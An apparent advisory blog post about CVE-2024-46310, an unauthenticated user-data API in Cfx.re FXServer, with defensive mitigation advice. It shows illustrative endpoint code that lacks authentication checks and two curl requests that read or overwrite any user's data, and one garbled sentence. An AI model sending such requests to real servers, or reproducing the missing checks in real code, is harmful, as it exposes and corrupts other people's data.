FiveM, the widely popular multiplayer modification framework for GTA V, is powered by the Cfx.re FXServer. Numerous communities utilizing the FXServer to support their in-game experiences need to be aware of a potential vulnerability impacting versions up to v9601. Allowing unauthenticated users to modify and read arbitrary user data not only undermines the security of your ultimately affects your server's reputation.

The vulnerability - dubbed CVE-2024-46310 - exposes an API endpoint that malicious users can exploit, leading to Incorrect Access Control. By gaining unauthorized access, these users can manipulate user data, leading to an array of negative consequences.

In this post, we will delve into the details of this vulnerability, learn how it can be exploited, and understand the potential repercussions. Furthermore, we will examine code snippets and links to original references to ensure the best course of action for safeguarding your server.

The Vulnerability: CVE-2024-46310

Affecting Cfx.re FXServer v9601 and earlier, CVE-2024-46310 exposes an API endpoint that enables unauthorized access to arbitrary user data. With no authentication requirement in place, any individual with malicious intentions can access, read, and write user data as they please.

Here's a code snippet demonstrating the vulnerable API endpoint

app.post('/api/userdata', async (req, res) => {
  try {
    const userData = await getUserData(req.body.userId);
    // Missing authentication check
    res.status(200).json(userData);
  } catch (error) {
    res.status(500).json({ message: 'Failed to retrieve user data' });
  }
});

app.put('/api/userdata', async (req, res) => {
  try {
    const updatedUserData = await updateUserData(req.body.userId, req.body.newData);
    // Missing authentication check
    res.status(200).json(updatedUserData);
  } catch (error) {
    res.status(500).json({ message: 'Failed to update user data' });
  }
});

Exploit Details and Examples

In exploiting CVE-2024-46310, attackers can run simple HTTP requests to either read or modify user data. Two examples showcasing this are listed below.

Reading arbitrary user data

curl -X POST 'https://your-server-url/api/userdata'; \
  -H 'Content-Type: application/json' \
  -d '{"userId": "TARGET_USER_ID"}'

Modifying arbitrary user data

curl -X PUT 'https://your-server-url/api/userdata'; \
  -H 'Content-Type: application/json' \
  -d '{"userId": "TARGET_USER_ID", "newData": {"customField": "maliciousContent"}}'

Through these examples, attackers can both access and modify user data, including profiles, sensitive data, and in-game statuses or inventories.

To effectively address CVE-2024-46310, consider the following two primary steps

1. Implement proper authentication checks for accessing user data endpoints, thereby preventing unauthorized infiltration.
2. Restrict access to the API endpoint by utilizing features such as IP whitelisting, token-based authentication, or an API gateway.

Original References

The following links provide additional information on CVE-2024-46310 and how to safeguard your Cfx.re FXServer:
1. Official Cfx.re FXServer Documentation
2. CVE-2024-46310 - Mitre.org page

Conclusion

Preventing unauthorized access to your server and protecting user data are crucial aspects of ensuring a secure gaming environment for your community. By understanding the details and exploit methods of CVE-2024-46310, you are better equipped to mitigate the risks associated with this vulnerability. Implementing proper authentication and access controls will help you enhance overall security and prevent unauthorized access in your Cfx.re FXServer.

Timeline

Published on: 01/13/2025 19:15:10 UTC
Last modified on: 01/16/2025 18:15:23 UTC